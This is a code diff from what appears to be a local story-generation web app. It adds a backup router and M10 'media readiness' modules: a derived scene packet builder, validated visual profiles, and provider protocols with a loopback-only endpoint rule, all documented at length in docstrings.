|
||||
|
||||
def oversized_export_warning(export_bytes: int, limit: int | None = None) -> str:
|
||||
"""What to tell a reader whose export is larger than import will accept.
|
||||
|
||||
v1.1 WP-D. The file is written and is not damaged: what it exceeds is this
|
||||
version's import ceiling, so it cannot be brought back in *here*. Saying that
|
||||
plainly is the whole point — the alternative is a reader who finds out when
|
||||
they try to restore it.
|
||||
"""
|
||||
size = MAX_IMPORT_BODY_BYTES if limit is None else limit
|
||||
return (
|
||||
f"This export is larger than this version's {import_limit_label(size)} import "
|
||||
f"limit ({export_bytes:,} bytes). The file was exported successfully, but this "
|
||||
f"version cannot import it."
|
||||
)
|
||||
|
||||
|
||||
class BodySizeLimitMiddleware:
|
||||
"""Rejects oversized request bodies by their declared `Content-Length`.
|
||||
|
||||
|
||||
+5
-1
@@ -10,7 +10,9 @@ from starlette.exceptions import HTTPException as StarletteHTTPException
|
||||
from .database import engine
|
||||
from .limits import BodySizeLimitMiddleware
|
||||
from .migrations import bootstrap
|
||||
from .routers import adventures, chat, debug, scenarios, settings, story_cards
|
||||
from .routers import (
|
||||
adventures, backups, chat, debug, scenarios, settings, story_cards,
|
||||
)
|
||||
from .seed import seed_public_scenarios
|
||||
|
||||
bootstrap(engine)
|
||||
@@ -112,6 +114,8 @@ app.include_router(scenarios.router)
|
||||
app.include_router(adventures.router)
|
||||
app.include_router(story_cards.router)
|
||||
app.include_router(settings.router)
|
||||
# M9: a verified copy of the whole database, taken while the app is running.
|
||||
app.include_router(backups.router)
|
||||
app.include_router(chat.router)
|
||||
app.include_router(debug.router)
|
||||
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
"""M10: the seam a future media provider plugs into, and nothing behind it.
|
||||
|
||||
This package is **readiness, not media**. Nothing here generates an image, a
|
||||
video, audio, speech or a transcription; nothing here opens a socket; nothing
|
||||
here is required for the storyteller to run. A campaign plays exactly as it did
|
||||
in M9 with none of this configured, which is M10's central acceptance
|
||||
condition — see `test_m10_no_media.py`.
|
||||
|
||||
## What M10 found already built, and therefore did not build again
|
||||
|
||||
The largest finding of the milestone is how little of it needed inventing.
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §5 asks the story system to persist a structured
|
||||
scene snapshot with a campaign, a lineage, a source position, a location and the
|
||||
characters present. **All of that already exists**, and has since M5:
|
||||
|
||||
state["scene"] = {"summary": …, "location": <entity key>,
|
||||
"present": [<entity keys>],
|
||||
"at": {"branch_id": …, "depth": …}}
|
||||
|
||||
written only by the validated `set_scene` typed event (ADR 010), snapshotted per
|
||||
node in `actions.narrative_state_after` (M5), restored on every head movement by
|
||||
`attempts.restore_state` (M3/M4), and carried per position in the M9 v3 bundle.
|
||||
So it is already authoritative, already lineage-safe, already survives Undo,
|
||||
Redo, Save Point restore, divergence and restart, and already round-trips into a
|
||||
clean data directory.
|
||||
|
||||
Building a `scenes` table beside that would have been a second representation of
|
||||
information the application already stores authoritatively — the one thing the
|
||||
M10 brief forbids — and it would have needed its own lineage rules, its own
|
||||
restore path and its own bundle carriage, each a chance to disagree with the
|
||||
state document. **So M10 stores no scene rows.** It reads the scene that is
|
||||
already there.
|
||||
|
||||
## What was actually missing
|
||||
|
||||
Three things, and this package is each of them:
|
||||
|
||||
* `profiles.py` — **visual profiles.** Stable descriptors for how an entity
|
||||
*looks*, which nothing recorded. Campaign-scoped rather than per-position,
|
||||
because a character does not change appearance when the story forks (K02, K03).
|
||||
* `packet.py` — **the Scene Packet.** A bounded, provider-neutral,
|
||||
hidden-information-safe view of one scene, built on demand from authoritative
|
||||
state. Persisted nowhere, because it is a pure function of things that are.
|
||||
* `providers.py` — **the provider contracts.** Types and protocols for image,
|
||||
video, audio, TTS and STT, with no provider vocabulary anywhere in them, plus
|
||||
the loopback-only endpoint rule the media contract asks for.
|
||||
|
||||
## The authority direction, which never reverses
|
||||
|
||||
accepted story -> narrative state -> scene packet -> future provider
|
||||
|
||||
Every arrow points away from authority. A visual profile is not a story fact; a
|
||||
scene packet is a read; a future asset would be a depiction. Nothing in this
|
||||
package writes `narrative_state`, emits a state event, or moves the head — and
|
||||
`test_m10_authority.py` asserts that by running each operation and comparing the
|
||||
authoritative document byte for byte either side.
|
||||
|
||||
That is the rule `MEDIA-EXTENSION-CONTRACT.md` §35 and §49 state, and the reason
|
||||
it is enforced structurally rather than by convention: the only code that may
|
||||
change authoritative state is the M5 event pipeline, and nothing here imports
|
||||
it.
|
||||
"""
|
||||
|
||||
from . import packet, profiles, providers
|
||||
|
||||
__all__ = ["packet", "profiles", "providers"]
|
||||
@@ -0,0 +1,328 @@
|
||||
"""M10: the Scene Packet — one accepted scene, bounded, for a future provider.
|
||||
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §10-12 asks for a normalised, provider-independent
|
||||
description of a scene, and asks explicitly that a provider **not** normally
|
||||
receive the campaign transcript. This module builds that description.
|
||||
|
||||
## It is constructed, never stored
|
||||
|
||||
A packet is a pure function of things that are already persisted: the
|
||||
authoritative state document at a position, the entity records inside it, and
|
||||
the campaign's visual profiles. Storing one would create a second copy of all of
|
||||
that, which could then disagree with the first — and the packet has no field the
|
||||
source of truth does not already hold.
|
||||
|
||||
So there is no `scene_packets` table, nothing to migrate, nothing to keep in
|
||||
step with the head, and nothing to carry in a bundle. Rebuilding it costs one
|
||||
state read and one profile query. That is the same reasoning M9 applied to the
|
||||
FTS index and the knowledge passages, applied to a smaller thing.
|
||||
|
||||
## Scene identity, without a scenes table
|
||||
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §10 shows a `scene_id`, and the M10 brief asks
|
||||
that a future asset be able to name unambiguously:
|
||||
|
||||
campaign -> lineage/story position -> source turn or turn range -> scene
|
||||
|
||||
That is a **coordinate**, and the application already has one. So the identity
|
||||
is derived rather than allocated:
|
||||
|
||||
c<adventure>:b<branch>:<start>-<end>
|
||||
|
||||
Two properties follow, and both matter more than a surrogate key would have:
|
||||
|
||||
* it is **stable** — the same scene yields the same id on any machine, before
|
||||
and after an export, without a row having to travel;
|
||||
* it is **resolvable** — a future asset holding this string can be turned back
|
||||
into the exact accepted position it depicts, with no lookup table.
|
||||
|
||||
A surrogate `scene_id` would have needed a table, a lineage column, a restore
|
||||
path and bundle carriage, all to name something the coordinate already names.
|
||||
|
||||
## Ranges, because a video is not a turn
|
||||
|
||||
`build` takes a range, not a position. §30-31 of the contract describe a video
|
||||
covering several accepted turns, and the M10 brief is explicit that neither
|
||||
"one turn == one scene" nor "one scene == one asset" may be assumed.
|
||||
|
||||
So `start` and `end` are depths on one branch, the identity carries both, and a
|
||||
single-turn image is the case where they are equal rather than a different kind
|
||||
of request. Several future assets may name the same identity; nothing here
|
||||
allocates or records them, so nothing constrains how many there are.
|
||||
|
||||
## What is deliberately not in a packet
|
||||
|
||||
**The transcript.** Not a summarised version of it either. The packet carries
|
||||
the scene's own summary — the one sentence the story itself accepted through
|
||||
`set_scene` — and the entities present. A provider that needs to depict a room
|
||||
does not need to have read the campaign.
|
||||
|
||||
**Imported knowledge, of any class.** Not canon, not reference, not
|
||||
inspiration, and emphatically not a narrator-only source. This is the hidden
|
||||
information boundary and it is drawn structurally: this module never reads
|
||||
`knowledge_sources`, so there is no filter to get wrong and no marker to
|
||||
overlook. A secret reaches a packet only if the *story* put it into accepted
|
||||
state through a validated event — which is the correct rule, because at that
|
||||
point it is something that happened rather than something the narrator knows.
|
||||
|
||||
**Memories and summaries.** Derived narrative text about the campaign's past,
|
||||
which is not what depicting a present moment needs.
|
||||
|
||||
**Facts, relationships and threads.** These are the campaign's reasoning about
|
||||
itself. A `continuity_constraints` list carries the few that bear on depiction —
|
||||
what a character is holding, where they are — and nothing else.
|
||||
|
||||
The result is that the honest answer to "what could leak through a packet" is
|
||||
"what the accepted scene contains", which is what a picture of that scene would
|
||||
show anyway.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from .. import models
|
||||
from ..context import lineage
|
||||
from ..narrative import model as narrative_model
|
||||
from ..narrative import store as narrative_store
|
||||
from . import profiles as visual_profiles
|
||||
|
||||
#: How many entities one packet will describe. A scene is a moment with people
|
||||
#: in it; a request naming two hundred is a runaway state document rather than a
|
||||
#: picture, and the bound keeps a future provider's prompt finite.
|
||||
MAX_CHARACTERS = 24
|
||||
MAX_OBJECTS = 24
|
||||
MAX_CONSTRAINTS = 24
|
||||
|
||||
|
||||
def scene_id(adventure_id: int, branch_id: int | None, start: int, end: int) -> str:
|
||||
"""The derived, stable identity for one scene. See the module docstring."""
|
||||
branch = branch_id if branch_id is not None else 0
|
||||
return f"c{adventure_id}:b{branch}:{start}-{end}"
|
||||
|
||||
|
||||
def parse_scene_id(value: str) -> dict | None:
|
||||
"""Turns a scene identity back into the coordinate it names, or `None`.
|
||||
|
||||
The half that makes the derived identity worth having: a future asset
|
||||
holding this string can be resolved to an accepted position without a table.
|
||||
"""
|
||||
try:
|
||||
campaign, branch, span = str(value).split(":")
|
||||
start, end = span.split("-")
|
||||
return {
|
||||
"adventure_id": int(campaign.lstrip("c")),
|
||||
"branch_id": int(branch.lstrip("b")),
|
||||
"start": int(start),
|
||||
"end": int(end),
|
||||
}
|
||||
except (ValueError, AttributeError):
|
||||
return None
|
||||
|
||||
|
||||
def build(
|
||||
db: Session,
|
||||
adventure: models.Adventure,
|
||||
*,
|
||||
start: int | None = None,
|
||||
end: int | None = None,
|
||||
) -> dict:
|
||||
"""The Scene Packet for a range of accepted story on the active branch.
|
||||
|
||||
Defaults to the scene at the active head, which is the ordinary case: an
|
||||
image of what is happening now. `start` and `end` are depths on the active
|
||||
branch; passing both describes a stretch, which is what a future video
|
||||
would ask for.
|
||||
|
||||
Reads. Writes nothing, and cannot: this module imports no writer, emits no
|
||||
event and does not touch the head. `test_m10_authority.py` asserts the
|
||||
authoritative document is byte-identical either side of a build.
|
||||
"""
|
||||
state = narrative_store.current(adventure)
|
||||
scene = state.get("scene") if isinstance(state.get("scene"), dict) else {}
|
||||
|
||||
branch_id = adventure.head_branch_id
|
||||
head_depth = adventure.head_depth
|
||||
# The scene's own coordinate is the position `set_scene` last ran at, which
|
||||
# is where the depiction belongs. It can sit behind the head — the story may
|
||||
# have moved on without re-establishing the scene — and that is correct: the
|
||||
# picture is of the moment the scene was set, not of a later turn that did
|
||||
# not change it.
|
||||
at = scene.get("at") if isinstance(scene.get("at"), dict) else {}
|
||||
scene_branch = at.get("branch_id") if at.get("branch_id") is not None else branch_id
|
||||
scene_depth = at.get("depth") if _is_int(at.get("depth")) else head_depth
|
||||
|
||||
first = start if _is_int(start) else scene_depth
|
||||
last = end if _is_int(end) else max(first, scene_depth)
|
||||
if last < first:
|
||||
first, last = last, first
|
||||
|
||||
profiles = visual_profiles.by_key(db, adventure)
|
||||
location_key = scene.get("location") if isinstance(scene.get("location"), str) else None
|
||||
present = [k for k in (scene.get("present") or []) if isinstance(k, str)]
|
||||
|
||||
return {
|
||||
"scene_id": scene_id(adventure.id, scene_branch, first, last),
|
||||
"campaign": {"id": adventure.id, "title": adventure.title},
|
||||
# Where in the story this is, in the vocabulary the application already
|
||||
# uses internally. A future provider does not read these; a future
|
||||
# coordinator resolving an asset back to its source does.
|
||||
"turn_range": {"branch_id": scene_branch, "start": first, "end": last},
|
||||
"lineage": _lineage_of(db, adventure),
|
||||
"location": _entity_view(state, profiles, location_key),
|
||||
"characters": [
|
||||
view for key in present[:MAX_CHARACTERS]
|
||||
if (view := _entity_view(state, profiles, key)) is not None
|
||||
],
|
||||
"objects": _objects(state, profiles, present, location_key),
|
||||
"action_summary": str(scene.get("summary") or ""),
|
||||
"continuity_constraints": _constraints(state, present, location_key),
|
||||
# Present, empty, and deliberately so — see `_ambience`.
|
||||
"ambience": _ambience(scene),
|
||||
"source": {
|
||||
# What produced this, so a future asset's provenance can say which
|
||||
# build's rules bounded the packet it was made from.
|
||||
"packet_version": PACKET_VERSION,
|
||||
"head_depth": head_depth,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
#: The packet's own shape version. A future provider adapter can branch on it if
|
||||
#: the packet gains fields; nothing in the story engine reads it.
|
||||
PACKET_VERSION = 1
|
||||
|
||||
|
||||
def _lineage_of(db: Session, adventure: models.Adventure) -> list[dict]:
|
||||
"""The capped lineage this scene sits on, as provenance.
|
||||
|
||||
Read through `lineage.path_of`, the same helper every story read uses, so a
|
||||
packet cannot describe a position the story could not. M10 builds no media
|
||||
head: there is one head, and this follows it.
|
||||
"""
|
||||
try:
|
||||
path = lineage.path_of(db, adventure)
|
||||
except Exception: # noqa: BLE001 - a packet is a read; it does not raise
|
||||
return []
|
||||
entries = getattr(path, "entries", None)
|
||||
if not entries:
|
||||
return []
|
||||
return [
|
||||
{"branch_id": branch_id, "through_depth": cap}
|
||||
for branch_id, cap in entries
|
||||
]
|
||||
|
||||
|
||||
def _entity_view(state: dict, profiles: dict, key: str | None) -> dict | None:
|
||||
"""One entity as a packet describes it: what it is, plus how it looks."""
|
||||
if not key:
|
||||
return None
|
||||
found = narrative_model.entity(state, key)
|
||||
if found is None:
|
||||
return None
|
||||
return {
|
||||
"key": key,
|
||||
"name": narrative_model.entity_name(state, key),
|
||||
"type": found.get("type") or "other",
|
||||
"status": found.get("status") or "active",
|
||||
"description": found.get("description") or "",
|
||||
# `None` rather than an empty profile, so a provider can tell "nobody
|
||||
# said how this looks" from "somebody said it looks like nothing".
|
||||
"visual_profile": profiles.get(key),
|
||||
}
|
||||
|
||||
|
||||
def _objects(
|
||||
state: dict, profiles: dict, present: list[str], location_key: str | None
|
||||
) -> list[dict]:
|
||||
"""The things visibly in the scene, from what the present entities hold.
|
||||
|
||||
Possession is the only relation in the state document that says an object is
|
||||
*somewhere*, so it is the honest source for "what would be in the picture".
|
||||
An item nobody in the scene is carrying is not depicted, which is the same
|
||||
rule a reader would apply looking at the room.
|
||||
"""
|
||||
possessions = state.get("possessions")
|
||||
if not isinstance(possessions, dict):
|
||||
return []
|
||||
holders = set(present) | ({location_key} if location_key else set())
|
||||
out: list[dict] = []
|
||||
for item_key, holder in possessions.items():
|
||||
if holder not in holders or not isinstance(item_key, str):
|
||||
continue
|
||||
view = _entity_view(state, profiles, item_key)
|
||||
if view is None:
|
||||
continue
|
||||
view["held_by"] = holder
|
||||
out.append(view)
|
||||
if len(out) >= MAX_OBJECTS:
|
||||
break
|
||||
return out
|
||||
|
||||
|
||||
def _constraints(
|
||||
state: dict, present: list[str], location_key: str | None
|
||||
) -> list[str]:
|
||||
"""The few facts that bear on depicting *this* scene, as sentences.
|
||||
|
||||
Deliberately narrow. The state document's `facts` list is the campaign's
|
||||
reasoning about itself and most of it has nothing to do with a picture;
|
||||
forwarding all of it would make the packet a state dump with a different
|
||||
name, and would be the route by which something the scene has not exposed
|
||||
reached a provider.
|
||||
|
||||
So only two kinds are carried: where the present entities are, and what they
|
||||
are holding. Both are already visible in the scene by construction.
|
||||
"""
|
||||
out: list[str] = []
|
||||
for key in present:
|
||||
found = narrative_model.entity(state, key)
|
||||
if found is None:
|
||||
continue
|
||||
name = narrative_model.entity_name(state, key)
|
||||
status = found.get("status")
|
||||
if status and status != "active":
|
||||
out.append(f"{name} is {status}.")
|
||||
if len(out) >= MAX_CONSTRAINTS:
|
||||
return out
|
||||
possessions = state.get("possessions")
|
||||
if isinstance(possessions, dict):
|
||||
for item_key, holder in possessions.items():
|
||||
if holder not in present:
|
||||
continue
|
||||
out.append(
|
||||
f"{narrative_model.entity_name(state, holder)} is carrying "
|
||||
f"{narrative_model.entity_name(state, item_key)}."
|
||||
)
|
||||
if len(out) >= MAX_CONSTRAINTS:
|
||||
break
|
||||
return out
|
||||
|
||||
|
||||
def _ambience(scene: dict) -> dict:
|
||||
"""Time of day, lighting and mood — present in the shape, empty in v1.
|
||||
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §5 lists these among a scene snapshot's
|
||||
conceptual fields, and M10 **does not** add them to the `set_scene` event
|
||||
that would establish them.
|
||||
|
||||
That is a deliberate deferral rather than an oversight. Adding them would
|
||||
mean extending M5's typed-event vocabulary, which means teaching the
|
||||
narrator to emit them, which means changing the prompt — and M10's central
|
||||
acceptance condition is that ordinary story flow is *unchanged*. Buying
|
||||
three optional fields at the price of touching every narration was the wrong
|
||||
trade for a milestone whose deliverable is a seam.
|
||||
|
||||
So the keys are here and are `None`, read from the scene document if a later
|
||||
milestone starts recording them. A provider adapter written today against
|
||||
this shape keeps working when they arrive.
|
||||
"""
|
||||
return {
|
||||
"time_of_day": scene.get("time_of_day") or None,
|
||||
"lighting": scene.get("lighting") or None,
|
||||
"mood": scene.get("mood") or None,
|
||||
}
|
||||
|
||||
|
||||
def _is_int(value) -> bool:
|
||||
return isinstance(value, int) and not isinstance(value, bool)
|
||||
@@ -0,0 +1,220 @@
|
||||
"""M10: reading and writing how an entity looks.
|
||||
|
||||
`models.VisualProfile` carries the design reasoning — why these rows are
|
||||
campaign-scoped rather than per-position, why there is one table for characters,
|
||||
locations and items, and why nothing here is story state. This module is the
|
||||
narrow set of operations on them, and its own job is to make two things true:
|
||||
|
||||
* **a profile can only name an entity the campaign actually has**, so a typo
|
||||
produces an error rather than a row describing nobody;
|
||||
* **writing one changes nothing authoritative**, which is guaranteed by this
|
||||
module not importing anything that could.
|
||||
|
||||
## Why the entity is checked against the current head
|
||||
|
||||
An entity key means something only in a state document, and a campaign has a
|
||||
different document at every position. The check is made against the state at
|
||||
the **active head** — the story the reader is on — for the same reason
|
||||
`narrative/validate.py` resolves its `refs` there: it is the only position the
|
||||
reader is looking at, and a key that means nothing there is a mistake, not a
|
||||
branch subtlety.
|
||||
|
||||
The row that results is campaign-scoped anyway, so a profile written while
|
||||
standing on one branch is visible from every branch. That asymmetry is
|
||||
deliberate and is the continuity the profile exists for: the check is *"does
|
||||
this name someone"*, and the storage answers *"what do they look like"*, which
|
||||
does not vary by path.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from .. import models
|
||||
from ..narrative import model as narrative_model
|
||||
from ..narrative import store as narrative_store
|
||||
|
||||
#: How many descriptors one profile may carry, and how long each may be. A
|
||||
#: profile is a handful of stable traits, not a document: the bound exists so a
|
||||
#: future provider's prompt cannot be grown without limit through this door, and
|
||||
#: so one campaign cannot store an essay per entity.
|
||||
MAX_DESCRIPTORS = 40
|
||||
MAX_FEATURES = 40
|
||||
MAX_VALUE = 400
|
||||
MAX_STYLE_NOTES = 2_000
|
||||
MAX_KEY = 200
|
||||
|
||||
|
||||
class ProfileError(ValueError):
|
||||
"""A visual profile could not be written, and why."""
|
||||
|
||||
|
||||
def entity_exists(state: dict, entity_key: str) -> bool:
|
||||
"""Whether the state document names this entity."""
|
||||
return narrative_model.entity(state, entity_key) is not None
|
||||
|
||||
|
||||
def set_profile(
|
||||
db: Session,
|
||||
adventure: models.Adventure,
|
||||
entity_key: str,
|
||||
*,
|
||||
descriptors: dict | None = None,
|
||||
features: list | None = None,
|
||||
style_notes: str | None = None,
|
||||
) -> models.VisualProfile:
|
||||
"""Records how `entity_key` looks, creating or replacing the profile.
|
||||
|
||||
Replaces rather than merges. A profile is one answer to "what does this look
|
||||
like", and merging would make it impossible to *remove* a descriptor — the
|
||||
caller would be able to add "wearing a red coat" and never take it off,
|
||||
which for continuity metadata is the wrong default. A caller that wants to
|
||||
amend one reads it first.
|
||||
|
||||
Raises `ProfileError` if the campaign's state at the active head does not
|
||||
name the entity, or if the profile is malformed. It writes nothing in either
|
||||
case, and it writes nothing to `narrative_state` in any case.
|
||||
"""
|
||||
key = _checked_key(entity_key)
|
||||
state = narrative_store.current(adventure)
|
||||
if not entity_exists(state, key):
|
||||
raise ProfileError(
|
||||
f"This campaign has no entity called {key!r}, so there is nothing "
|
||||
f"for a visual profile to describe. Profiles attach to the "
|
||||
f"campaign's own entities, not to names."
|
||||
)
|
||||
row = get_profile(db, adventure, key)
|
||||
if row is None:
|
||||
row = models.VisualProfile(adventure_id=adventure.id, entity_key=key)
|
||||
db.add(row)
|
||||
row.descriptors = _checked_descriptors(descriptors)
|
||||
row.features = _checked_features(features)
|
||||
row.style_notes = _checked_notes(style_notes)
|
||||
return row
|
||||
|
||||
|
||||
def get_profile(
|
||||
db: Session, adventure: models.Adventure, entity_key: str
|
||||
) -> models.VisualProfile | None:
|
||||
return db.execute(
|
||||
select(models.VisualProfile).where(
|
||||
models.VisualProfile.adventure_id == adventure.id,
|
||||
models.VisualProfile.entity_key == entity_key,
|
||||
)
|
||||
).scalars().first()
|
||||
|
||||
|
||||
def all_for(db: Session, adventure: models.Adventure) -> list[models.VisualProfile]:
|
||||
return list(db.execute(
|
||||
select(models.VisualProfile)
|
||||
.where(models.VisualProfile.adventure_id == adventure.id)
|
||||
.order_by(models.VisualProfile.entity_key)
|
||||
).scalars().all())
|
||||
|
||||
|
||||
def by_key(db: Session, adventure: models.Adventure) -> dict[str, dict]:
|
||||
"""Every profile in the campaign, keyed by entity, as plain dictionaries.
|
||||
|
||||
One query, because the Scene Packet needs several profiles at once and
|
||||
fetching them per entity would be a query per character in the scene.
|
||||
"""
|
||||
return {row.entity_key: as_dict(row) for row in all_for(db, adventure)}
|
||||
|
||||
|
||||
def as_dict(row: models.VisualProfile) -> dict:
|
||||
"""One profile as it appears in a Scene Packet."""
|
||||
return {
|
||||
"descriptors": dict(row.descriptors or {}),
|
||||
"features": list(row.features or []),
|
||||
"style_notes": row.style_notes or "",
|
||||
}
|
||||
|
||||
|
||||
def delete_profile(
|
||||
db: Session, adventure: models.Adventure, entity_key: str
|
||||
) -> bool:
|
||||
"""Removes a profile. Returns whether there was one.
|
||||
|
||||
Deleting a profile removes a *description*, never the entity: the entity
|
||||
lives in the authoritative state document and nothing here can reach it.
|
||||
"""
|
||||
row = get_profile(db, adventure, entity_key)
|
||||
if row is None:
|
||||
return False
|
||||
db.delete(row)
|
||||
return True
|
||||
|
||||
|
||||
# ------------------------------------------------------------- the checking
|
||||
|
||||
def _checked_key(entity_key) -> str:
|
||||
if not isinstance(entity_key, str) or not entity_key.strip():
|
||||
raise ProfileError("A visual profile has to name an entity.")
|
||||
key = entity_key.strip()
|
||||
if len(key) > MAX_KEY:
|
||||
raise ProfileError(f"Entity keys are at most {MAX_KEY} characters.")
|
||||
return key
|
||||
|
||||
|
||||
def _checked_descriptors(descriptors) -> dict:
|
||||
"""Trait -> value, both short strings.
|
||||
|
||||
Values are text rather than arbitrary JSON on purpose. A descriptor is
|
||||
something a future provider will put in a prompt, and a nested structure
|
||||
would either be flattened by whoever does that — inconsistently — or
|
||||
smuggle a provider-shaped payload through a story-side field, which is the
|
||||
boundary this package exists to keep.
|
||||
"""
|
||||
if descriptors is None:
|
||||
return {}
|
||||
if not isinstance(descriptors, dict):
|
||||
raise ProfileError("`descriptors` must be a map of trait to value.")
|
||||
if len(descriptors) > MAX_DESCRIPTORS:
|
||||
raise ProfileError(
|
||||
f"A profile may carry at most {MAX_DESCRIPTORS} descriptors."
|
||||
)
|
||||
out: dict[str, str] = {}
|
||||
for trait, value in descriptors.items():
|
||||
if not isinstance(trait, str) or not trait.strip():
|
||||
raise ProfileError("Every descriptor needs a name.")
|
||||
if not isinstance(value, str):
|
||||
raise ProfileError(
|
||||
f"The value for {trait!r} must be text — a profile describes "
|
||||
f"how something looks, in words a person could read back."
|
||||
)
|
||||
if len(value) > MAX_VALUE:
|
||||
raise ProfileError(
|
||||
f"The value for {trait!r} is longer than {MAX_VALUE} characters."
|
||||
)
|
||||
out[trait.strip()[:MAX_KEY]] = value
|
||||
return out
|
||||
|
||||
|
||||
def _checked_features(features) -> list:
|
||||
if features is None:
|
||||
return []
|
||||
if not isinstance(features, list):
|
||||
raise ProfileError("`features` must be a list of short phrases.")
|
||||
if len(features) > MAX_FEATURES:
|
||||
raise ProfileError(f"A profile may carry at most {MAX_FEATURES} features.")
|
||||
out = []
|
||||
for feature in features:
|
||||
if not isinstance(feature, str) or not feature.strip():
|
||||
raise ProfileError("Every feature must be a non-empty phrase.")
|
||||
if len(feature) > MAX_VALUE:
|
||||
raise ProfileError(f"A feature is longer than {MAX_VALUE} characters.")
|
||||
out.append(feature.strip())
|
||||
return out
|
||||
|
||||
|
||||
def _checked_notes(style_notes) -> str:
|
||||
if style_notes is None:
|
||||
return ""
|
||||
if not isinstance(style_notes, str):
|
||||
raise ProfileError("`style_notes` must be text.")
|
||||
if len(style_notes) > MAX_STYLE_NOTES:
|
||||
raise ProfileError(
|
||||
f"Style notes are longer than {MAX_STYLE_NOTES} characters."
|
||||
)
|
||||
return style_notes.strip()
|
||||
@@ -0,0 +1,332 @@
|
||||
"""M10: what a future media provider must satisfy, and nothing that satisfies it.
|
||||
|
||||
No provider is implemented here, none is registered by default, and nothing in
|
||||
this module opens a socket. What it defines is the shape of the boundary, so
|
||||
that adding a real image, video, audio, TTS or STT provider later is writing an
|
||||
adapter rather than editing the story engine.
|
||||
|
||||
## The rule these types exist to enforce
|
||||
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §3: the Story Engine must not call ComfyUI, Stable
|
||||
Diffusion, a video pipeline, a TTS engine or a third-party media API. It states
|
||||
that as a recommendation; this module makes it structural. Everything crossing
|
||||
the boundary is expressed in this vocabulary:
|
||||
|
||||
MediaKind image | video | audio | tts | stt
|
||||
MediaRequest a scene packet, a kind, and neutral hints
|
||||
MediaResult bytes-or-path, a type, and provenance
|
||||
DraftTranscription STT's deliberately different answer (see below)
|
||||
|
||||
**No provider vocabulary appears anywhere in this file or in any story module.**
|
||||
There is no workflow JSON, no sampler name, no CFG scale, no LoRA, no
|
||||
`num_inference_steps`, no Whisper option and no voice id. A provider adapter
|
||||
owns that translation, in its own package, and the story engine never learns it.
|
||||
`test_m10_providers.py` greps the story modules for that vocabulary so the rule
|
||||
cannot rot quietly.
|
||||
|
||||
## Why Protocols rather than base classes
|
||||
|
||||
A future adapter should not have to import from here to be usable — it should
|
||||
merely have to *fit*. `typing.Protocol` gives a structural contract that a test
|
||||
double satisfies as readily as a real ComfyUI adapter, which keeps the seam
|
||||
honest: if the only way to satisfy the interface were to inherit from it, the
|
||||
interface would be describing this codebase rather than the boundary.
|
||||
|
||||
## STT is deliberately shaped differently, and that is the point
|
||||
|
||||
Every other provider returns a `MediaResult` — a depiction of something the
|
||||
story already established. STT returns a `DraftTranscription`, which is a
|
||||
different type on purpose, because it flows the other way:
|
||||
|
||||
audio -> local STT -> draft text -> the reader edits it -> normal submission
|
||||
|
||||
`MEDIA-EXTENSION-CONTRACT.md` §24A states the rule as *"STT output is draft user
|
||||
input, not an accepted story event."* A shared return type would have made it
|
||||
possible to hand a transcription to something expecting a finished artefact, and
|
||||
the asymmetry would have survived only as a comment. `DraftTranscription`
|
||||
carries `editable = True` and has no path into the turn pipeline: the reader's
|
||||
edited text enters through the ordinary action endpoint like anything they
|
||||
typed, and is validated, refereed and snapshotted exactly the same way.
|
||||
|
||||
M10 implements no microphone capture and no transcription. The type boundary is
|
||||
the deliverable.
|
||||
|
||||
## Endpoints: loopback only, and stricter than the narrator's on purpose
|
||||
|
||||
`endpoints.py` already decides which *inference* endpoints this product will
|
||||
talk to, and allows an explicitly configured trusted LAN as well as loopback
|
||||
(ADR 011). Media is not given that latitude. `MEDIA-EXTENSION-CONTRACT.md` §27
|
||||
and §28 set the media default at loopback, with any future LAN extension
|
||||
explicit and user-controlled — so `check_endpoint` below reuses the existing,
|
||||
tested address machinery and then applies the stricter rule on top.
|
||||
|
||||
Reusing rather than reimplementing matters: a second endpoint validator would be
|
||||
a second place for the policy to be wrong, and this one inherits the property
|
||||
that makes the first one hard to talk around — it judges the address a host
|
||||
actually resolves to, not the name.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Protocol, runtime_checkable
|
||||
|
||||
from .. import endpoints
|
||||
|
||||
#: The kinds of media this architecture is required to accommodate. A string
|
||||
#: enum rather than free text, so a typo is a failure here rather than a request
|
||||
#: nothing will ever service.
|
||||
IMAGE = "image"
|
||||
VIDEO = "video"
|
||||
AUDIO = "audio"
|
||||
TTS = "tts"
|
||||
STT = "stt"
|
||||
|
||||
MEDIA_KINDS: tuple[str, ...] = (IMAGE, VIDEO, AUDIO, TTS, STT)
|
||||
|
||||
|
||||
def is_media_kind(value) -> bool:
|
||||
return isinstance(value, str) and value in MEDIA_KINDS
|
||||
|
||||
|
||||
class MediaProviderError(RuntimeError):
|
||||
"""A provider could not do what was asked.
|
||||
|
||||
Deliberately its own type, and deliberately not caught anywhere in the story
|
||||
path: nothing in a turn calls a provider, so there is no code path where
|
||||
this could reach an accepted narration. If a future coordinator catches it,
|
||||
it does so on its own side of the boundary — a failed depiction must leave
|
||||
the story exactly as it was (`MEDIA-EXTENSION-CONTRACT.md` §50).
|
||||
"""
|
||||
|
||||
|
||||
class EndpointRejected(endpoints.EndpointRejected):
|
||||
"""A media endpoint outside the loopback-only media policy.
|
||||
|
||||
Subclasses the inference rejection so that a caller which already handles
|
||||
"this endpoint is not allowed" keeps working, while a caller that wants to
|
||||
tell the two policies apart still can.
|
||||
"""
|
||||
|
||||
|
||||
def endpoint_rejection_reason(url: str) -> str | None:
|
||||
"""Why this URL may not be a media endpoint, or `None` if it may.
|
||||
|
||||
Two rules, in order, and the first is somebody else's:
|
||||
|
||||
1. the existing inference policy — an address in an allowed private network,
|
||||
judged by resolution rather than by name (`endpoints.py`);
|
||||
2. **and** loopback specifically, which is the media contract's stricter
|
||||
default (§27, §28).
|
||||
|
||||
So a trusted-LAN address that an Ollama may legitimately use is refused here.
|
||||
That is not an oversight: narrator inference is a deployment the user has
|
||||
already reasoned about and configured, whereas a media endpoint is a new
|
||||
